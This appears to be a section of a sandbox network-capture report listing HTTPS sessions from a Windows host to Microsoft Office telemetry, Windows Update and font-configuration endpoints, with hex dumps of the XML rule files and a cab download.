52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.7	49751	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:30 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 21:52:30 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:30 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 1fa1b817-401e-0067-5691-3f09c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T215230Z-174f7845968kdththC1EWRzvxn00000008bg00000000c0na x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 21:52:30 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.7	49745	20.12.23.50	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:30 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=cSsvaOzKhELEzfH&MD=ydFHuBDP HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-26 21:52:31 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: bdf3abde-8f7e-4ee2-a1ec-6055d392499d MS-RequestId: d9bb4199-cf4a-40de-9760-3977ed7e0467 MS-CV: hMBWNvg8I0O78zL+.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Tue, 26 Nov 2024 21:52:30 GMT Connection: close Content-Length: 24490
2024-11-26 21:52:31 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-26 21:52:31 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.7	49756	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:30 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 21:52:31 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:31 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: e52ede4a-001e-0017-0591-3f0c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T215231Z-174f7845968j6t2phC1EWRcfe80000000w2g00000000rg32 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 21:52:31 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.7	49760	23.218.208.109	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:32 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-26 21:52:32 UTC	479	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Server: Kestrel ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-neu-z1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-OSID: 2 X-CID: 2 X-CCC: GB Cache-Control: public, max-age=188894 Date: Tue, 26 Nov 2024 21:52:32 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.7	49759	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:32 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 21:52:32 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:32 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: be7987d0-001e-0034-1e91-3fdd04000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T215232Z-174f7845968ljs8phC1EWRe6en0000000vz000000000161q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 21:52:32 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.7	49761	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:32 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 21:52:32 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:32 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: 6760f0bc-801e-002a-1f91-3f31dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T215232Z-174f784596886s2bhC1EWR743w0000000w0000000000m1q7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 21:52:32 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.7	49763	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:32 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 21:52:32 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:32 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: dc74b407-801e-0015-423a-40f97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T215232Z-174f7845968glpgnhC1EWR7uec0000000w900000000006pb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 21:52:32 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.7	49767	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:32 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 21:52:33 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:33 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: cb9203b6-501e-0029-2691-3fd0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T215233Z-174f7845968kdththC1EWRzvxn00000008d0000000007ydh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 21:52:33 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.7	49769	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:33 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 21:52:33 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:33 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: fac49ef3-501e-008f-0a91-3f9054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T215233Z-174f7845968j6t2phC1EWRcfe80000000w6000000000avnv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 21:52:33 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.7	49772	23.218.208.109	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:34 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-26 21:52:34 UTC	535	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-Azure-Ref: 0WwMRYwAAAABe7whxSEuqSJRuLqzPsqCaTE9OMjFFREdFMTcxNQBjZWZjMjU4My1hOWIyLTQ0YTctOTc1NS1iNzZkMTdlMDVmN2Y= Cache-Control: public, max-age=189970 Date: Tue, 26 Nov 2024 21:52:34 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-26 21:52:34 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.7	49773	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:34 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 21:52:35 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:34 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: e14f358b-d01e-007a-5d7e-3ff38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T215234Z-174f7845968swgbqhC1EWRmnb40000000w5000000000dyeq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 21:52:35 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.7	49774	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:34 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 21:52:35 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:34 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 5cf18591-601e-000d-7e91-3f2618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T215234Z-174f7845968pf68xhC1EWRr4h80000000w6g00000000m6yt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 21:52:35 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.7	49775	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:34 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
